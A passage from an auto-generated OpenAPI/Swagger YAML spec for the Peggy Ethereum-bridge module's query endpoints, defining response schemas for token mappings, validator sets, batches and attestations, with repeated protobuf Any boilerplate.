| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: nonce | |
| in: path | |
| required: true | |
| type: string | |
| format: uint64 | |
| tags: | |
| - Query | |
| /peggy/v1/cosmos_originated/denom_to_erc20: | |
| get: | |
| operationId: DenomToERC20 | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| erc20: | |
| type: string | |
| cosmos_originated: | |
| type: boolean | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: denom | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /peggy/v1/cosmos_originated/erc20_to_denom: | |
| get: | |
| operationId: ERC20ToDenom | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| cosmos_originated: | |
| type: boolean | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: erc20 | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /peggy/v1/missing_nonces: | |
| get: | |
| operationId: MissingPeggoNonces | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| operator_addresses: | |
| type: array | |
| items: | |
| type: string | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| tags: | |
| - Query | |
| /peggy/v1/module_state: | |
| get: | |
| summary: Retrieves the entire peggy module's state | |
| operationId: PeggyModuleState | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| state: | |
| type: object | |
| properties: | |
| params: | |
| type: object | |
| properties: | |
| peggy_id: | |
| type: string | |
| contract_source_hash: | |
| type: string | |
| bridge_ethereum_address: | |
| type: string | |
| bridge_chain_id: | |
| type: string | |
| format: uint64 | |
| signed_valsets_window: | |
| type: string | |
| format: uint64 | |
| signed_batches_window: | |
| type: string | |
| format: uint64 | |
| signed_claims_window: | |
| type: string | |
| format: uint64 | |
| target_batch_timeout: | |
| type: string | |
| format: uint64 | |
| average_block_time: | |
| type: string | |
| format: uint64 | |
| average_ethereum_block_time: | |
| type: string | |
| format: uint64 | |
| slash_fraction_valset: | |
| type: string | |
| format: byte | |
| slash_fraction_batch: | |
| type: string | |
| format: byte | |
| slash_fraction_claim: | |
| type: string | |
| format: byte | |
| slash_fraction_conflicting_claim: | |
| type: string | |
| format: byte | |
| unbond_slashing_valsets_window: | |
| type: string | |
| format: uint64 | |
| slash_fraction_bad_eth_signature: | |
| type: string | |
| format: byte | |
| cosmos_coin_denom: | |
| type: string | |
| cosmos_coin_erc20_contract: | |
| type: string | |
| claim_slashing_enabled: | |
| type: boolean | |
| bridge_contract_start_height: | |
| type: string | |
| format: uint64 | |
| valset_reward: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an | |
| amount. | |
| NOTE: The amount field is an Int which implements the | |
| custom method | |
| signatures required by gogoproto. | |
| last_observed_nonce: | |
| type: string | |
| format: uint64 | |
| valsets: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| nonce: | |
| type: string | |
| format: uint64 | |
| members: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| power: | |
| type: string | |
| format: uint64 | |
| ethereum_address: | |
| type: string | |
| title: >- | |
| BridgeValidator represents a validator's ETH | |
| address and its power | |
| height: | |
| type: string | |
| format: uint64 | |
| reward_amount: | |
| type: string | |
| reward_token: | |
| type: string | |
| title: >- | |
| the reward token in it's Ethereum hex address | |
| representation | |
| title: >- | |
| Valset is the Ethereum Bridge Multsig Set, each peggy | |
| validator also | |
| maintains an ETH key to sign messages, these are used to | |
| check signatures on | |
| ETH because of the significant gas savings | |
| valset_confirms: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| nonce: | |
| type: string | |
| format: uint64 | |
| orchestrator: | |
| type: string | |
| eth_address: | |
| type: string | |
| signature: | |
| type: string | |
| description: >- | |
| MsgValsetConfirm | |
| this is the message sent by the validators when they | |
| wish to submit their | |
| signatures over the validator set at a given block | |
| height. A validator must | |
| first call MsgSetEthAddress to set their Ethereum | |
| address to be used for | |
| signing. Then someone (anyone) must make a ValsetRequest | |
| the request is | |
| essentially a messaging mechanism to determine which | |
| block all validators | |
| should submit signatures over. Finally validators sign | |
| the validator set, | |
| powers, and Ethereum addresses of the entire validator | |
| set at the height of a | |
| ValsetRequest and submit that signature with this | |
| message. | |
| If a sufficient number of validators (66% of voting | |
| power) (A) have set | |
| Ethereum addresses and (B) submit ValsetConfirm messages | |
| with their | |
| signatures it is then possible for anyone to view these | |
| signatures in the | |
| chain store and submit them to Ethereum to update the | |
| validator set | |
| ------------- | |
| batches: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| batch_nonce: | |
| type: string | |
| format: uint64 | |
| batch_timeout: | |
| type: string | |
| format: uint64 | |
| transactions: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| id: | |
| type: string | |
| format: uint64 | |
| sender: | |
| type: string | |
| dest_address: | |
| type: string | |
| erc20_token: | |
| type: object | |
| properties: | |
| contract: | |
| type: string | |
| amount: | |
| type: string | |
| title: >- | |
| ERC20Token unique identifier for an Ethereum | |
| ERC20 token. | |
| CONTRACT: | |
| The contract address on ETH of the token, this | |
| could be a Cosmos | |
| originated token, if so it will be the ERC20 | |
| address of the representation | |
| (note: developers should look up the token | |
| symbol using the address on ETH to | |
| display for UI) | |
| erc20_fee: | |
| type: object | |
| properties: | |
| contract: | |
| type: string | |
| amount: | |
| type: string | |
| title: >- | |
| ERC20Token unique identifier for an Ethereum | |
| ERC20 token. | |
| CONTRACT: | |
| The contract address on ETH of the token, this | |
| could be a Cosmos | |
| originated token, if so it will be the ERC20 | |
| address of the representation | |
| (note: developers should look up the token | |
| symbol using the address on ETH to | |
| display for UI) | |
| title: >- | |
| OutgoingTransferTx represents an individual send | |
| from Peggy to ETH | |
| token_contract: | |
| type: string | |
| block: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| OutgoingTxBatch represents a batch of transactions going | |
| from Peggy to ETH | |
| batch_confirms: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| nonce: | |
| type: string | |
| format: uint64 | |
| token_contract: | |
| type: string | |
| eth_signer: | |
| type: string | |
| orchestrator: | |
| type: string | |
| signature: | |
| type: string | |
| title: >- | |
| MsgConfirmBatch | |
| When validators observe a MsgRequestBatch they form a | |
| batch by ordering | |
| transactions currently in the txqueue in order of | |
| highest to lowest fee, | |
| cutting off when the batch either reaches a hardcoded | |
| maximum size (to be | |
| decided, probably around 100) or when transactions stop | |
| being profitable | |
| (TODO determine this without nondeterminism) This | |
| message includes the batch | |
| as well as an Ethereum signature over this batch by the | |
| validator | |
| ------------- | |
| attestations: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| observed: | |
| type: boolean | |
| votes: | |
| type: array | |
| items: | |
| type: string | |
| height: | |
| type: string | |
| format: uint64 | |
| claim: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the | |
| type of the serialized | |
| protocol buffer message. This string must | |
| contain at least | |
| one "/" character. The last segment of the URL's | |
| path must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name | |
| should be in a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the | |
| binary all types that they | |
| expect it to use in the context of Any. However, | |
| for URLs which use the | |
| scheme `http`, `https`, or no scheme, one can | |
| optionally set up a type | |
| server that maps type URLs to message | |
| definitions as follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup | |
| results based on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently | |
| available in the official | |
| protobuf release, and it is not used for type | |
| URLs beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty | |
| scheme) might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of | |
| the above specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol | |
| buffer message along with a | |
| URL that describes the type of the serialized | |
| message. | |
| Protobuf library provides support to pack/unpack Any | |
| values in the form | |
| of utility functions or additional generated methods | |
| of the Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will | |
| by default use | |
| 'type.googleapis.com/full.type.name' as the type URL | |
| and the unpack | |
| methods only use the fully qualified type name after | |
| the last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" | |
| will yield type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the | |
| regular | |
| representation of the deserialized, embedded | |
| message, with an | |
| additional field `@type` which contains the type | |
| URL. Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a | |
| custom JSON | |
| representation, that representation will be embedded | |
| adding a field | |
| `value` which holds the custom JSON in addition to | |
| the `@type` | |
| field. Example (for message | |
| [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| description: >- | |
| The actual content of the claims is passed in with the | |
| transaction making the | |
| claim and then passed through the call stack alongside | |
| the attestation while | |
| it is processed the key in which the attestation is | |
| stored is keyed on the | |
| exact details of the claim but there is no reason to | |
| store those exact | |
| details becuause the next message sender will kindly | |
| provide you with them. | |
| title: >- | |
| Attestation is an aggregate of `claims` that eventually | |
| becomes `observed` by | |
| all orchestrators | |
| EVENT_NONCE: | |
| EventNonce a nonce provided by the peggy contract that | |
| is unique per event | |
| fired These event nonces must be relayed in order. This | |
| is a correctness | |
| issue, if relaying out of order transaction replay | |
| attacks become possible | |
| OBSERVED: | |
| Observed indicates that >67% of validators have attested | |
| to the event, | |
| and that the event should be executed by the peggy state | |
| machine | |
| orchestrator_addresses: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| sender: | |
| type: string | |
| orchestrator: | |
| type: string | |
| eth_address: | |
| type: string | |
| title: >- | |
| MsgSetOrchestratorAddresses | |
| this message allows validators to delegate their voting | |
| responsibilities | |
| to a given key. This key is then used as an optional | |
| authentication method | |
| for sigining oracle claims | |
| VALIDATOR | |
| The validator field is a cosmosvaloper1... string (i.e. | |
| sdk.ValAddress) | |
| that references a validator in the active set | |
| ORCHESTRATOR | |
| The orchestrator field is a cosmos1... string (i.e. | |
| sdk.AccAddress) that | |
| references the key that is being delegated to | |
| ETH_ADDRESS | |
| This is a hex encoded 0x Ethereum public key that will | |
| be used by this | |
| validator on Ethereum | |
| erc20_to_denoms: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| erc20: | |
| type: string | |
| denom: | |
| type: string | |
| title: >- | |
| This records the relationship between an ERC20 token and | |
| the denom | |
| of the corresponding Cosmos originated asset | |
| unbatched_transfers: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| id: | |
| type: string | |
| format: uint64 | |
| sender: | |
| type: string | |
| dest_address: | |
| type: string | |
| erc20_token: | |
| type: object | |
| properties: | |
| contract: | |
| type: string | |
| amount: | |
| type: string | |
| title: >- | |
| ERC20Token unique identifier for an Ethereum ERC20 | |
| token. | |
| CONTRACT: | |
| The contract address on ETH of the token, this could | |
| be a Cosmos | |
| originated token, if so it will be the ERC20 address | |
| of the representation | |
| (note: developers should look up the token symbol | |
| using the address on ETH to | |
| display for UI) | |
| erc20_fee: | |
| type: object | |
| properties: | |
| contract: | |
| type: string | |
| amount: | |
| type: string | |
| title: >- | |
| ERC20Token unique identifier for an Ethereum ERC20 | |
| token. | |
| CONTRACT: | |
| The contract address on ETH of the token, this could | |
| be a Cosmos | |
| originated token, if so it will be the ERC20 address | |
| of the representation | |
| (note: developers should look up the token symbol | |
| using the address on ETH to | |
| display for UI) | |
| title: >- | |
| OutgoingTransferTx represents an individual send from | |
| Peggy to ETH | |
| last_observed_ethereum_height: | |
| type: string | |
| format: uint64 | |
| last_outgoing_batch_id: | |
| type: string | |
| format: uint64 | |
| last_outgoing_pool_id: | |
| type: string | |
| format: uint64 | |
| last_observed_valset: | |
| type: object | |
| properties: | |
| nonce: | |
| type: string | |
| format: uint64 | |
| members: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| power: | |
| type: string | |
| format: uint64 | |
| ethereum_address: | |
| type: string | |
| title: >- | |
| BridgeValidator represents a validator's ETH address | |
| and its power | |
| height: | |
| type: string | |
| format: uint64 | |
| reward_amount: | |
| type: string | |
| reward_token: | |
| type: string | |
| title: >- | |
| the reward token in it's Ethereum hex address | |
| representation | |
| title: >- | |
| Valset is the Ethereum Bridge Multsig Set, each peggy | |
| validator also | |
| maintains an ETH key to sign messages, these are used to | |
| check signatures on | |
| ETH because of the significant gas savings | |
| ethereum_blacklist: | |
| type: array | |
| items: | |
| type: string | |
| title: GenesisState struct | |
| description: >- | |
| QueryModuleStateResponse is the response type for the | |
| Query/PeggyModuleState RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
